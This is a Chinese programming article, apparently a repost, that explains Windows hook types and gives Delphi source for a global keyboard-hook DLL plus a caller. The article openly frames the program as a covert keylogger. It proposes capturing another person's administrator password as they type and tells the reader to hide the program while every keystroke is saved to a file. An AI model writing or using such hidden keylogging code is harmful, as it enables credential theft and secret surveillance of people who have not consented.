注册 | 登录
收藏 | 帮助
热门文章
编辑推荐
相关文章  
使用Honeypots同计算机蠕虫病毒作
让Ghostbusters为电脑保驾护航
走近 WSH(Windows Scripting Hos
脚本图片类后门的完美使用方法
CPU使用频率100%一定是中毒了吗
我的黑色工具箱—几款黑客工具的
菜鸟入门常用的八种安全工具使用
使用Windows防火墙十大经典问题荟
SOHO网络解决方案
安全至上 网吧使用电脑必看5点技
您现在的位置: 顶尖设计 >> IT学院 >> 编程开发 >> Delphi >> 文章正文
使用HOOK随心监视Windows
作者:shuyi  来源:csdn  点击:  更新:2006-12-19
简介:
 

每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

Windows提供了Hook机制,定义为
A callback function provided by an application that receives certain data before the normal recipient of the data. The hook function can thus examine or modify the data before passing it on.

可以使用诸多Hook的方式,一下列举一些常用的参数,这些在WINDWOS API帮助中都有:

CALLWNDPROC ,CALLWNDPROCRET :
The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to window procedures by the SendMessage function. Windows calls a WH_CALLWNDPROC hook procedure before passing the message to the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window procedure has processed the message.

CBT:

Windows calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether Windows allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications.


KEYBOARD:
he WH_KEYBOARD hook enables an application to monitor message traffic for WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue.

下面就来举个例子(使用Delphi7.0调试通过):
如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;


procedure EntryPointProc(Reason: Integer);
const
    hMapObject: THandle = 0;
begin
    case reason of
        DLL_PROCESS_ATTACH:
            begin
            hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT');
            rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
            end;

        DLL_PROCESS_DETACH:
            begin
                try
                  UnMapViewOfFile(rHookRec);
                  CloseHandle(hMapObject);
                except
                end;
            end;
    end;
end;

procedure keyhookexit;far;
begin
  if hNexthookproc<>0 then endkeyhook;
  exitproc:=procsaveexit;
end;

function endkeyhook:bool;export;
begin
  if hNexthookproc<>0 then
  begin
    unhookwindowshookex(hNexthookproc);
    hNexthookproc:=0;
    messagebeep(0);
  end;
  result:=hNexthookproc=0;
 MainHandle:=0;
end;


function Setkeyhook:bool;export;
begin
  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
  result:=hNexthookproc<>0;
end;

function keyboardhookhandler(icode:integer;wparam:wparam;
  lparam:lparam):lresult;stdcall;export;
var
  s:Tstringlist;
begin

  if icode<0 then
  begin
    result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
    exit;
  end;
  if lparam<0 then
  begin
    exit;
  end;
  s:=TStringlist.Create;
  if FileExists(afilename) then
    s.LoadFromFile(afilename);

//将敲打的键盘字符保存到文件中 
s.Add(formatdatetime('YYYYMMDD hh:nn:ss:zzz:  ',now) + char(wParam) );
  s.SaveToFile(afilename);
  s.Free;
 
  result:=0;
end;

Dll的Project文件中定义如下
exports
  setkeyhook index 1,
  endkeyhook index 2,
  SetMainHandle index 3;

 

begin    

  hNexthookproc:=0;
  procsaveexit:=exitproc;
    DllProc := @EntryPointProc;
    EntryPointProc(DLL_PROCESS_ATTACH);
end.

这样DLL就定义好了,接下来就是画个界面
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';
procedure SetMainHandle(Handle: HWND); external 'keyspy.dll';
//开始捕获键盘

  SetMainHandle(handle);
 setkeyhook
//中止捕获键盘
   endkeyhook

然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。







  • 上一篇文章:
  • 下一篇文章:
  • 分享此文:该页面添加到 Mister Wong 添加到雅虎Yahoo!收藏 Add to:Del.icio.us Post to Furl Digg this 添加到Google书签 reddit spurl blogmarks 365Key 评论  收藏  分享  打印
     我来说两句
    姓名:       验证码:   
    主页: 
    评分: 1分 2分 3分 4分 5分
    本频道近期热评文章:
      关于我们 | 联系我们 | 站点地图 | 广告投放 | 友情链接 | 在线留言 | 版权申明
    版权所有 © 2004-2007 顶尖设计(bobd.cn)
    未经授权禁止转载,摘编,复制本站内容或建立镜像. 沪ICP备07504942号 
    网络110
    报警服务